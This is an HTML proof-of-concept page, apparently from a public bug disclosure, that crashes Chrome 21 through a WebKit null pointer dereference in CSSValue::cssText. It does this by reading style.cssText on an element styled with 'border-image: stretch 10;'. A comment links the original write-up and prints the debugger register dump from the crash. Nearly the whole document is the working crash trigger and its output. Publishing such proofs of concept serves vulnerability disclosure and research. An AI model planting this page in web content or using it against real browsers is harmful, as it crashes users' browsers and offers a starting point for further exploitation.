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- <html>
- <body>
- <h3>chrome null ptr deref bug PoC</h3>
- <i>tested with 21.0.1180.89 m (latest version)</i>
- <div id="a" style="border-image: stretch 10;"></div>
- <script>
- /*
- http://cbolat.blogspot.com/2012/09/webkit-csstext-null-ptr-deref.html
- 0:000> r
- eax=00000000 ebx=015ccfb0 ecx=00000000 edx=0014ea24 esi=01e00440 edi=01e44630
- eip=58fcd2a8 esp=0014e8b0 ebp=0014e8b4 iopl=0 nv up ei pl nz na po nc
- cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
- chrome_58bf0000!WebCore::CSSValue::cssText+0x8:
- 58fcd2a8 8b4804 mov ecx,dword ptr [eax+4] ds:002b:00000004=????????
- */
- var zz = document.getElementById('a').style.cssText;
- </script>
- </body>
- </html>
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